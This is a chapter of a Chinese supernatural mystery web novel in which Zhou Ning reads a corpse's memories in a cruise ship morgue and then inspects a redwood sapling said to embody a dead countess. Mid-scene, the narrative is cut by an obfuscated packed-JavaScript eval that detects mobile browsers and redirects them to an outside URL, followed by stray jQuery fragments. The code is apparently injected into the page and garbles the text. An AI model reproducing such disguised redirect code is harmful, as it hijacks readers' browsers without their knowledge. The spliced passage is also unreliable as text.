晚上十点，三位候选人带着她们的家主与随从，浩浩荡荡地前往伊万诺夫所在的停尸间。


    “虽说入夜后所有人一起行动，的确算是好事，但这会不会有点多了？”索莱达看着身后跟着的十几人，


    “人越多越好，我们要去的地方可是太平间。”


    “你竟然会怕尸体？”索莱达很意外，“那只是一堆腐肉，早已失去造成伤害的能力。”


    “跟你们老外说不通。”周宁总觉着他们缺乏对人命基本的敬畏，虽然她自己也不多，但比烂也强过这帮人。


    穿过狭长的船员宿舍走廊，在头顶苍白灯光的映照下，带路的金发男打开停尸间的大门。这里与其说是个房间，更像是个大型冷库，面前是整齐排列的不锈钢冷柜。放眼一扫，至少有五十个以上。


    “你们这么多冷柜，是给谁准备的？”


    金发男保持微笑，“有备无患。”


    他戴着手套，拉开其中一只冷柜，低声道，“打扰了，伊万诺夫先生。”


    随后便将那具尸体抬到一旁的不锈钢床上，回头看向周宁，“麻烦您了，周宁小姐，愿您能为他找到真相。”


    周宁偏开头，不忍心去看那具尸体，“你们准备好了吗？”


    “都准备好了。”苏霖、苏生分别掏出了洗手液和消毒液，苏墨抬枪上膛。


    “索莱达，看着点周围。”周宁叮嘱完他们，转身走向那具躺在床上的冰冷尸体。


    “收到，你的牺牲，我将牢记在心。”索莱达展开五指，缓缓下压，密集的蛛网顷刻间笼罩这间冷库，室内光线顿时暗下几分。


    周宁双手合十，内心默念：并非刻意打扰，我也是为了帮你找出真凶，冤有头债有主，阿弥陀佛，无量天尊，阿门。


    她这才将视线移向这具尸体，他依然穿着那身黑色西装，皮肤看起来仍有弹性光泽，表情平静柔和，嘴角还噙着笑意。如果不是上面析出的冰晶，他看起来更像是睡着了，陷入一场永不醒来的美梦。


    “呼。”她深呼吸一口气，将手放在他的胸口，心脏所在的地方，再度闭上眼睛。


    苏霖他们都认为这是她的超能力，但她不这么觉得。那不是某个具体的有指向性的能力，比如苏霖的红墙、索莱达的蛛丝，又或是隐身、预言这种可量化、可理解的力量。


    那更像是一种，感觉。


    就像游戏玩多了，就能预判对方的走位，在子弹来袭的前一秒，无需思考，身体会自动规避。


    而当她暂时放下对外界的探知，追随这股玄妙的感觉，它就会急速飙升，从而成为一种直觉。它会指引着她，将疏漏的细节，编成一条线，找到一切的源头，重现曾经的因果。


    现在，她需要放任这一直觉，寻觅到尸体与那个东西的联系，如果它还在的话。


    随着视网膜上出现光斑，无数画面开始在她的脑中闪回，以常人难以想象的方式，重新串连组合，最终定格在一双紫色的眼眸中。


    那片紫色中仿佛凝固着万年不化的风雪，平静地倒映着眼前人，任凭如何挣扎哀求，也毫无回应。在无望的窒息中，黑暗弥漫而来。那是泥土的湿润与温暖，犹如回归最初的子宫，环绕的仅有满足与幸福。


    “窸窸窣窣”。枝叶在抽芽，生命在滋长。


    “喁喁喃喃”。众生在祷告，神明在赐福。


    此刻，圣水已洗涤罪孽，将升入极乐天堂。无边的快乐如水流涌来，美妙的颂歌似虫声嗡鸣。


    “噗通！”直至落水的响动，惊扰了这场美梦。周宁睁开眼，对着眼前的尸体道：“大哥，我对你的人生和遗憾没兴趣，我只想知道那个东西。”


    没想到这人还是个虔信徒？还是说，这辈子做了太多亏心事，更渴望神的救赎？


    尸体自然无法回应她，她抬手拦住正要上前的苏霖，“还没结束，东西给我。”


    苏霖放下洗手液，取出装着树根的密封袋，以及一管红色液体，那是她刚抽出不久的血，“这回我算是下血本了。”


    “你还藏着这一手？”索莱达见她将血液滴入密封袋，摇匀后取出树根，将其贴在伊万诺夫的脸上。


    “得罪了。”她不再犹豫，双手覆上树根，闭上双眼。


    光斑消失不见，血色蔓上她的视网膜，如潮水翻涌。窒息感再度袭来，紫色眼眸开合，倒影却换成了一位年迈的老妇。她面目平静地躺卧在雪白的棺材中，素洁的鲜花簇拥着她，阳光为她镀上哀伤而神圣的色彩，也照亮了她身前捧着的一节树枝，翠绿枝叶鲜活明艳，仿佛刚从枝头折下。


    这节嫩枝在海风中舒展摇曳，数双眼睛注视着它又移开，来往的人影尽是熟悉的面孔，回望向窗外的大海，有一轮夕阳在缓缓沉落。


    画面随之陷入黑暗，周宁睁开眼，“就这些？原来你真不是被那东西干掉的。”


    恐怕在那东西吃掉他之前，他就已经死了，因此对那东西知之甚少。至于是谁杀的他，周宁或许也猜到了。


    “你发现了什么？”见她反应，索莱达按捺不住好奇。


    “先洗手。”周宁伸出双手，苏霖苏生立即带着洗手液和消毒液上前喷洒。她一边认真、仔细、使劲地清洁，一边说出自己的发现。


    “就是你，你当时在场。”周宁指向人群中的红发女人，她正是女妖艾尔莎的母亲，奥尼尔的家主，“你见过那节树枝，就在这艘船上某个房间里，和伊万诺夫等人一起。”


    艾尔莎看向自己的母亲，见她脸上露出疑惑之色，“难道你指的是……玛尔蒂达伯爵遗留的那支幼苗吗？”


    “那出自她庄园里的一株红杉树。今天早上我还见过，在观景台里温养着。”女人解释道，“根据伯爵的遗嘱，它将与候选人一同送往继承岛，她称为落叶归根。而这份遗嘱的内容，在场的人应该都知道。”


    听完苏霖的翻译，尤其在提及杉树时，周宁的眉心跳了一下，“你有仔细观察过吗？它是否还活着？”


    “当然，我负责照顾它。”女人十分肯定，“那是伯爵的化身，我绝不会让它有任何一片叶子枯萎。”


    “我得去看一眼。”周宁终于洗净每个指甲缝，“麻烦带路吧。”


    “请随我来。”


    …………


    位于邮轮顶部的观景台，昏黄灯光映照着落地窗，坐在沙发一角的男人回头，望着门的所在，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471008|201478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脚步与人声的喧嚣，正沿着回廊涌来。


    “咔。”大门开启，一张轮廓柔和的华国面孔钻了进来，“嗯？有人？”


    跟在她身后的人群也随之挤入，有人认出了他，“真巧，你也在这里赏景？”


    “我想陪她聊会天，留给我们彼此的时间已经不多了。”蒙特罗望向玻璃笼中的幼苗，它占据着观景台的最佳角度，以便这株“伯爵的化身”能够享受到最美的风景。


    “你对伯爵的忠诚与爱，真是令人动容。”奥尼尔还想继续客套，却见周宁大跨步直奔目标，转眼便来到玻璃罩前。


    她凑近了反复打量，“你确定是这个是葬礼上的那根树枝？”


    奥尼尔点头，“我亲自护送的，不会有错，家主们当时都在场，可以作为见证。”


    “出了什么事？”蒙特罗扫视身着黑色短袖的年轻女人，那张侧颜让他想起几十年前的那个人。血缘啊，真是奇妙。


    “哦，我的老朋友，你还真是不问世事？伊万诺夫和科斯塔死后，我吓得夜不能寐。”奥尼尔在他对面落座，“不知你是否有从梅西耶那打听到什么，好让我安心呢？”


    “那恐怕要令你失望了。”他收回目光，“倘若我能撬开梅西耶的嘴，或许我更适合去从政。”


    在他们聊天时，周宁已经找到了玻璃罩的开关，“女妖，过来看看。”


    艾尔莎闻声走到她身边，“这株幼苗没问题，生机充沛，确实是一株红杉树苗。”


    “外表没问题，那根部呢？”她伸手去揭玻璃罩。


    “等等！”奥尼尔站起身，“根据伯爵的遗嘱，我们必须保证这株幼苗安全抵达继承岛。”


    周宁不以为然：“要是你们真这么在意她的想法和遗嘱，为什么不直接拥护我做继承人？”


    “你说的对，我已经开始后悔这件事。”蒙特罗突然开口，“但古话曾说，开弓没有回头箭，我们没有退路了。”


    奥尼尔意外地看向蒙特罗，从进来时她便觉察到，他似乎与往常有些不同。


    “只要能找到那个东西，或许就不会有人再死了。”周宁不再搭理他们，打开了玻璃罩。


    “它没有杀人的能力，杀人的是我们的欲望。”蒙特罗始终没有动作，只是望着那只幼苗的方向。


    “蒙特罗，我竟然不知你还有哲学家的一面？”奥尼尔惊讶地打量起男人，似乎是第一次认识他。


    索莱达也一副见了鬼的表情，“哥？那人真是蒙特罗？”


    唯有周宁，满眼只有那株翠绿的幼苗，“苏霖，索莱达，过来帮忙。”


    “让我来吧，它还很稚嫩，别伤到……”奥尼尔的话噎在喉口，她张着嘴，一时忘记了自己该说什么。


    周宁轻松地将幼苗从土壤里连根拔起，与它鲜活的枝叶不同，它的根系苍白肿大，像是被水泡发了，细看之下，杂乱的根须间，有明显断裂的痕迹。


    “有人刨走了它的根？还是说，根系才是它的本体？”


    谁也回答不上来，沉默中，突然响起一声凄厉的尖叫，划破夜色，被海风从窗外卷来。


    “呼。”周宁深深吐出一口气，“又是谁出事了？”